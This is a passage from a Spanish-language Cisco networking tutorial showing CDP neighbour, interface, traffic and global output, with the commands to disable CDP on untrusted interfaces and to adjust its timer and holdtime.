Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Sat 08-Sep-07 01:37 by prod_rel_team

advertisement version: 2
Duplex: full

-------------------------
Device ID: SW1
Entry address(es):
IP address: 192.168.1.1
Platform: Cisco 3725,  Capabilities: Router Switch IGMP
Interface: FastEthernet1/0,  Port ID (outgoing port): FastEthernet1/1
Holdtime : 175 sec

Version :
Cisco IOS Software, 3700 Software (C3725-ADVENTERPRISEK9-M), Version 12.4(15)T5, RELEASE SOFTWARE (fc4)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2008 by Cisco Systems, Inc.
Compiled Wed 30-Apr-08 18:27 by prod_rel_team

advertisement version: 2
VTP Management Domain: ''
Native VLAN: 1
Duplex: full

Obtener información especifica del R1.

SW2#show cdp entry Router1
-------------------------
Device ID: Router1
Entry address(es):
IP address: 192.168.1.3
Platform: Cisco 7206VXR,  Capabilities: Router
Interface: FastEthernet1/1,  Port ID (outgoing port): FastEthernet0/0
Holdtime : 139 sec

Version :
Cisco IOS Software, 7200 Software (C7200-JK9O3S-M), Version 12.4(17), RELEASE SOFTWARE (fc1)
Technical Support: http://www.cisco.com/techsupport
Copyright (c) 1986-2007 by Cisco Systems, Inc.
Compiled Sat 08-Sep-07 01:37 by prod_rel_team

advertisement version: 2
Duplex: full

El comando show cdp interface nos muestra el estado de las interfaces del Router o los puertos del Switch.

SW2#show cdp interface
FastEthernet0/0 is up, line protocol is up
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet0/1 is up, line protocol is up
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/0 is up, line protocol is up
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/1 is up, line protocol is up
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/2 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/3 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/4 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/5 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/6 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/7 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/8 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/9 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/10 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/11 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/12 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/13 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/14 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds
FastEthernet1/15 is up, line protocol is down
Encapsulation ARPA
Sending CDP packets every 60 seconds
Holdtime is 180 seconds

Para obtener el trafico que esta generando CDP, como los paquetes CDP enviados y recibos.

SW2#show cdp traffic
CDP counters :
      Total packets output: 84, Input: 38
      Hdr syntax: 0, Chksum error: 0, Encaps failed: 0
      No memory: 0, Invalid packet: 0, Fragmented: 0
      CDP version 1 advertisements output: 0, Input: 0
      CDP version 2 advertisements output: 84, Input: 38

Mediante el uso de CDP podemos recopilar toda esta información para solucionar problemas en la red pero también lo recomendable es deshabilitar CDP en aquellas interfaces donde están conectados otros dispositivos que no sean de nuestra confianza ya que algún usuario malintencionado podría extraer toda esta información y podría causar problemas en la red. Para deshabilitar CDP utilizar el siguiente comando.

Router1(config)#no cdp run

También podemos deshabilitar CDP en las interfaces mediante el comando "no cdp enable".

SW2(config)#interface FastEthernet0/1
SW2(config-if)#no cdp enable

Para ver la configuración global de CDP se utiliza el siguiente comando.

SW2#show cdp
Global CDP information:
       Sending CDP packets every 30 seconds
       Sending a holdtime value of 240 seconds
       Sending CDPv2 advertisements is not enabled

Como se puede ver aqui el router tiene la configuracion por defecto para enviar paquetes CDP cada 60 segundos y el holdtime cada 180 segundos. Para ajustar estos parametros en el router se realiza con los siguientes comandos.

SW2(config)#cdp timer 30
SW2(config)#cdp holdtime 240

Como he mencionado antes, lo recomendable es deshabilitar CDP en aquellas interfaces en las cuales están conectadas directamente a internet o cualquier otro sitio en la cual no confiamos. En otro post veremos mas temas sobre configuraciones en los equipos cisco.